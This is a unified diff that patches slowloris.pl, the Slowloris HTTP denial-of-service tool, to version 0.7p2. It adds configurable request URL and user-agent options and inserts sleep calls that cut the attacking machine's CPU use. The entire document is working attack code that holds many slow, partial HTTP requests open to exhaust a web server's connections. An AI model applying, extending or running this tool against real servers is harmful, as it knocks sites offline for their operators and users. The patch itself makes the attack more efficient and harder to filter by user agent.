Patch to reduce CPU drain for SlowLoris.pl

# References:
# http://wiki.apache.org/httpd/DoS
# http://ha.ckers.org/slowloris/

--- slowloris.pl.orig   2009-06-17 00:00:00.000000000 +0200
+++ slowloris.pl        2011-04-29 00:00:00.000000000 +0200
@@ -38,10 +38,14 @@
  Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
 EOTEXT

+my $url = "/";
+my $agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12; SlowLoris Patched)";
 my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
 my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
 my $result = GetOptions(
     'shost=s'   => \$shost,
+    'agent=s'   => \$agent,
+    'url=s'   => \$url,
     'dns=s'     => \$host,
     'httpready' => \$httpready,
     'num=i'     => \$connections,
@@ -55,7 +59,7 @@
 );

 if ($version) {
-    print "Version 0.7\n";
+    print "Version 0.7p2\n";
     exit;
 }

@@ -164,9 +168,9 @@
             $rand = "";
         }
         my $primarypayload =
-            "GET /$rand HTTP/1.1\r\n"
+            "GET $url$rand HTTP/1.1\r\n"
           . "Host: $sendhost\r\n"
-          . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
+          . "User-Agent: $agent\r\n"
           . "Content-Length: 42\r\n";
         if ( print $sock $primarypayload ) {
             print "Connection successful, now comes the waiting game...\n";
@@ -241,6 +245,7 @@
         $failedconnections = 0;
         print "\t\tBuilding sockets.\n";
         foreach my $z ( 1 .. $num ) {
+            #select(undef, undef, undef, 0.1);
             if ( $working[$z] == 0 ) {
                 if ($ssl) {
                     if (
@@ -283,9 +288,9 @@
                         $rand = "";
                     }
                     my $primarypayload =
-                        "$method /$rand HTTP/1.1\r\n"
+                        "$method $url$rand HTTP/1.1\r\n"
                       . "Host: $sendhost\r\n"
-                      . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
+                      . "User-Agent: $agent\r\n"
                       . "Content-Length: 42\r\n";
                     my $handle = $sock[$z];
                     if ($handle) {
@@ -316,6 +321,7 @@
         }
         print "\t\tSending data.\n";
         foreach my $z ( 1 .. $num ) {
+            #select(undef, undef, undef, 0.1);
             if ( $working[$z] == 1 ) {
                 if ( $sock[$z] ) {
                     my $handle = $sock[$z];
@@ -350,6 +356,7 @@
     my $i                    = 0;
     my $connectionsperthread = 50;
     while ( $i < $num ) {
+        #select(undef, undef, undef, 0.1);
         $thrs[$i] =
           threads->create( \&doconnections, $connectionsperthread, 1 );
         $i += $connectionsperthread;
@@ -357,6 +364,7 @@
     my @threadslist = threads->list();
     while ( $#threadslist > 0 ) {
         $failed = 0;
+        select(undef, undef, undef, 0.1); # reduce CPU drain
     }
 }

@@ -368,15 +376,15 @@

 =head1 VERSION

-Version 0.7 Beta
+Version 0.7p2 Beta

 =head1 DATE

-06/17/2009
+06/17/2009, 29.Apr.2011

 =head1 AUTHOR

-RSnake <h@ckers.org> with threading from John Kinsella
+RSnake <h@ckers.org> with threading from John Kinsella and patch to reduce CPU drain from Guillermo Grandes

 =head1 ABSTRACT


END